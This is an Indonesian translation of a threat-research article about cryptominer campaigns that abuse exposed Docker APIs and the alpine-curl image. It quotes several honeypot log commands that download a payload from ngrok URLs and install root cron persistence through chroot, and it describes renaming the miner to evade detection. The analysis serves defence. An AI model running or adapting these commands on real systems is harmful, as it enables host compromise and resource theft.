Bagaimana API Docker non-kepemilikan dan gambar publik dari komunitas digunakan untuk mendistribusikan penambang mata uang kripto

Bagaimana API Docker non-kepemilikan dan gambar publik dari komunitas digunakan untuk mendistribusikan penambang mata uang kripto

Kami menganalisis data yang dikumpulkan menggunakan wadah honeypot, yang kami buat untuk melacak ancaman. Dan kami mendeteksi aktivitas signifikan dari penambang mata uang kripto yang tidak diinginkan atau tidak sah yang dikerahkan sebagai wadah jahat menggunakan gambar yang dipublikasikan komunitas di Docker Hub. Gambar tersebut digunakan sebagai bagian dari layanan yang mengirimkan penambang cryptocurrency berbahaya.

Selain itu, program untuk bekerja dengan jaringan dipasang untuk menembus wadah dan aplikasi terbuka di sekitarnya.

Kami membiarkan honeypot kami apa adanya, yaitu dengan pengaturan default, tanpa tindakan keamanan apa pun atau instalasi perangkat lunak tambahan selanjutnya. Harap dicatat bahwa Docker memiliki rekomendasi untuk pengaturan awal guna menghindari kesalahan dan kerentanan sederhana. Namun honeypot yang digunakan adalah container, yang dirancang untuk mendeteksi serangan yang ditujukan pada platform containerisasi, bukan aplikasi di dalam container.

Aktivitas berbahaya yang terdeteksi juga penting karena tidak memerlukan kerentanan dan juga tidak tergantung pada versi Docker. Menemukan image container yang tidak dikonfigurasi dengan benar, dan karenanya terbuka, adalah satu-satunya hal yang dibutuhkan penyerang untuk menginfeksi banyak server terbuka.

Docker API yang tidak ditutup memungkinkan pengguna untuk melakukan berbagai macam tim, termasuk mendapatkan daftar container yang sedang berjalan, mendapatkan log dari container tertentu, memulai, menghentikan (termasuk yang dipaksakan) dan bahkan membuat container baru dari image tertentu dengan pengaturan yang ditentukan.

Bagaimana API Docker non-kepemilikan dan gambar publik dari komunitas digunakan untuk mendistribusikan penambang mata uang kripto
Di sebelah kiri adalah metode pengiriman malware. Di sebelah kanan adalah lingkungan penyerang, yang memungkinkan peluncuran gambar dari jarak jauh.

Bagaimana API Docker non-kepemilikan dan gambar publik dari komunitas digunakan untuk mendistribusikan penambang mata uang kripto
Distribusi berdasarkan negara dari 3762 API Docker terbuka. Berdasarkan penelusuran Shodan tanggal 12.02.2019/XNUMX/XNUMX

Opsi rantai serangan dan muatan

Aktivitas berbahaya terdeteksi tidak hanya dengan bantuan honeypots. Data dari Shodan menunjukkan bahwa jumlah API Docker yang terekspos (lihat grafik kedua) telah meningkat sejak kami menyelidiki wadah yang salah dikonfigurasi yang digunakan sebagai jembatan untuk menyebarkan perangkat lunak penambangan mata uang kripto Monero. Pada bulan Oktober tahun lalu (2018, data terkini kamu bisa terlihat seperti ini kira-kira Penerjemah) hanya ada 856 API terbuka.

Pemeriksaan log honeypot menunjukkan bahwa penggunaan gambar kontainer juga dikaitkan dengan penggunaan ngrok, alat untuk membuat koneksi aman atau meneruskan lalu lintas dari titik yang dapat diakses publik ke alamat atau sumber daya tertentu (misalnya localhost). Hal ini memungkinkan penyerang membuat URL secara dinamis saat mengirimkan muatan ke server terbuka. Di bawah ini adalah contoh kode dari log yang menunjukkan penyalahgunaan layanan ngrok:

Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,

Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Seperti yang Anda lihat, file yang diunggah diunduh dari URL yang terus berubah. URL ini memiliki tanggal kedaluwarsa yang pendek, sehingga payload tidak dapat diunduh setelah tanggal kedaluwarsa tersebut.

Ada dua opsi muatan. Yang pertama adalah penambang yang telah dikompilasi dalam format ELF untuk Linux (diidentifikasi sebagai Coinminer.SH.MALXMR.ATNO), yang terhubung ke pool penambangan. Yang kedua adalah skrip (TrojanSpy.SH.ZNETMAP.A), yang dirancang untuk mendapatkan alat jaringan tertentu yang digunakan untuk memindai rentang jaringan dan kemudian mencari target baru.

Skrip penetes menetapkan dua variabel, yang kemudian digunakan untuk menyebarkan penambang mata uang kripto. Variabel HOST berisi URL tempat file berbahaya berada, dan variabel RIP adalah nama file (sebenarnya, hash) penambang yang akan dikerahkan. Variabel HOST berubah setiap kali variabel hash berubah. Skrip ini juga mencoba memeriksa bahwa tidak ada penambang mata uang kripto lain yang berjalan di server yang diserang.

Bagaimana API Docker non-kepemilikan dan gambar publik dari komunitas digunakan untuk mendistribusikan penambang mata uang kripto
Contoh variabel HOST dan RIP, serta cuplikan kode yang digunakan untuk memeriksa apakah tidak ada penambang lain yang berjalan

Sebelum menjalankan program penambang, namanya diubah menjadi nginx. Versi lain dari skrip ini mengubah nama program penambang menjadi layanan sah lain yang mungkin ada di lingkungan tersebut. LinuxIni biasanya cukup untuk melewati pemeriksaan pada daftar proses yang sedang berjalan.

Skrip pencarian juga memiliki fitur. Ia bekerja dengan layanan URL yang sama untuk menyebarkan alat yang diperlukan. Diantaranya adalah biner zmap, yang digunakan untuk memindai jaringan dan mendapatkan daftar port yang terbuka. Skrip juga memuat biner lain yang digunakan untuk berinteraksi dengan layanan yang ditemukan dan menerima spanduk dari layanan tersebut untuk menentukan informasi tambahan tentang layanan yang ditemukan (misalnya, versinya).

Skrip juga telah menentukan terlebih dahulu beberapa rentang jaringan yang akan dipindai, namun hal ini bergantung pada versi skrip. Ini juga menetapkan port target dari layanan—dalam hal ini, Docker—sebelum menjalankan pemindaian.

Setelah target potensial ditemukan, banner akan dihapus secara otomatis dari target tersebut. Skrip ini juga menyaring target berdasarkan layanan, aplikasi, komponen, atau platform yang diminatinya: Redis, Jenkins, DrupalMODX, Master Kubernetes, klien Docker 1.16 dan Apache CouchDB. Jika server yang dipindai cocok dengan salah satunya, server tersebut akan disimpan dalam file teks, yang nantinya dapat digunakan penyerang untuk analisis dan peretasan selanjutnya. File teks ini diunggah ke server penyerang melalui tautan dinamis. Artinya, URL terpisah digunakan untuk setiap file, yang berarti akses selanjutnya sulit dilakukan.

Vektor serangan adalah gambar Docker, seperti yang dapat dilihat pada dua potongan kode berikutnya.

Bagaimana API Docker non-kepemilikan dan gambar publik dari komunitas digunakan untuk mendistribusikan penambang mata uang kripto
Di bagian atas adalah penggantian nama menjadi layanan yang sah, dan di bagian bawah adalah cara zmap digunakan untuk memindai jaringan

Bagaimana API Docker non-kepemilikan dan gambar publik dari komunitas digunakan untuk mendistribusikan penambang mata uang kripto
Di bagian atas adalah rentang jaringan yang telah ditentukan sebelumnya, di bagian bawah adalah port khusus untuk mencari layanan, termasuk Docker

Bagaimana API Docker non-kepemilikan dan gambar publik dari komunitas digunakan untuk mendistribusikan penambang mata uang kripto
Tangkapan layar menunjukkan gambar alpine-curl telah diunduh lebih dari 10 juta kali

Berdasarkan Alpine Linux dan curl, sebuah alat CLI yang efisien dalam penggunaan sumber daya untuk mentransfer file melalui berbagai protokol, dapat dikompilasi. gambar buruh pelabuhan. Seperti yang Anda lihat pada gambar sebelumnya, gambar ini sudah diunduh lebih dari 10 juta kali. Sejumlah besar unduhan mungkin berarti menggunakan gambar ini sebagai titik masuk; gambar ini diperbarui lebih dari enam bulan yang lalu; pengguna tidak terlalu sering mengunduh gambar lain dari repositori ini. Di Docker titik masuk - serangkaian instruksi yang digunakan untuk mengonfigurasi wadah untuk menjalankannya. Jika pengaturan titik masuk salah (misalnya, wadah dibiarkan terbuka dari Internet), gambar tersebut dapat digunakan sebagai vektor serangan. Penyerang dapat menggunakannya untuk mengirimkan muatan jika mereka menemukan kontainer yang salah dikonfigurasi atau terbuka tidak didukung.

Penting untuk dicatat bahwa gambar ini (alpine-curl) itu sendiri tidak berbahaya, tetapi seperti yang Anda lihat di atas, gambar ini dapat digunakan untuk melakukan fungsi jahat. Gambar Docker serupa juga dapat digunakan untuk melakukan aktivitas jahat. Kami menghubungi Docker dan bekerja sama dengan mereka dalam masalah ini.

Rekomendasi

Pengaturan salah sisa masalah terus-menerus bagi banyak perusahaan, terutama yang menerapkan DevOps, berfokus pada pengembangan dan penyampaian yang cepat. Semuanya diperburuk oleh kebutuhan untuk mematuhi aturan audit dan pemantauan, kebutuhan untuk memantau kerahasiaan data, serta kerugian besar akibat ketidakpatuhan mereka. Memasukkan otomatisasi keamanan ke dalam siklus pengembangan tidak hanya membantu Anda menemukan celah keamanan yang mungkin tidak terdeteksi, namun juga membantu Anda mengurangi beban kerja yang tidak diperlukan, seperti menjalankan build perangkat lunak tambahan untuk setiap kerentanan yang ditemukan atau kesalahan konfigurasi setelah aplikasi disebarkan.

Insiden yang dibahas dalam artikel ini menyoroti perlunya mempertimbangkan keselamatan sejak awal, termasuk rekomendasi berikut:

  • Untuk administrator sistem dan pengembang: Selalu periksa pengaturan API Anda untuk memastikan semuanya dikonfigurasi untuk hanya menerima permintaan dari server atau jaringan internal tertentu.
  • Ikuti prinsip hak paling rendah: pastikan gambar kontainer ditandatangani dan diverifikasi, batasi akses ke komponen penting (layanan peluncuran kontainer) dan tambahkan enkripsi ke koneksi jaringan.
  • Mengikuti rekomendasi dan mengaktifkan mekanisme keamanan, mis. dari Docker dan bawaan fitur keamanan.
  • Gunakan pemindaian otomatis runtime dan gambar untuk memperoleh informasi tambahan tentang proses yang berjalan di penampung (misalnya, untuk mendeteksi spoofing atau mencari kerentanan). Kontrol aplikasi dan pemantauan integritas membantu melacak perubahan abnormal pada server, file, dan area sistem.

Trendmicro membantu tim DevOps membangun dengan aman, meluncurkan dengan cepat, dan meluncurkannya di mana saja. Tren Mikro Keamanan Cloud Hibrid Memberikan keamanan yang kuat, efisien, dan otomatis di seluruh saluran DevOps organisasi dan memberikan pertahanan ganda terhadap ancaman XGen untuk melindungi beban kerja fisik, virtual, dan cloud saat runtime. Ini juga menambah keamanan kontainer dengan Keamanan Mendalam и Pemeriksaan Cerdas Keamanan Mendalam, yang memindai gambar kontainer Docker untuk mencari malware dan kerentanan di titik mana pun dalam jalur pengembangan untuk mencegah ancaman sebelum diterapkan.

Tanda-tanda kompromi

Hash terkait:

  • 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
  • f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)

Pada Kursus video Docker Pembicara yang berlatih menunjukkan pengaturan apa yang perlu dilakukan terlebih dahulu untuk meminimalkan kemungkinan atau menghindari sama sekali terjadinya situasi yang dijelaskan di atas. Dan pada tanggal 19-21 Agustus di intensif online Alat & Curang DevOps Anda dapat mendiskusikan masalah ini dan masalah keamanan serupa dengan rekan kerja dan guru praktik di meja bundar, di mana setiap orang dapat berbicara dan mendengarkan penderitaan dan keberhasilan rekan kerja yang berpengalaman.

Sumber: www.habr.com

Beli hosting yang andal untuk situs dengan perlindungan DDoS, server VPS VDS 🔥 Beli hosting website andal dengan perlindungan DDoS, server VPS VDS | ProHoster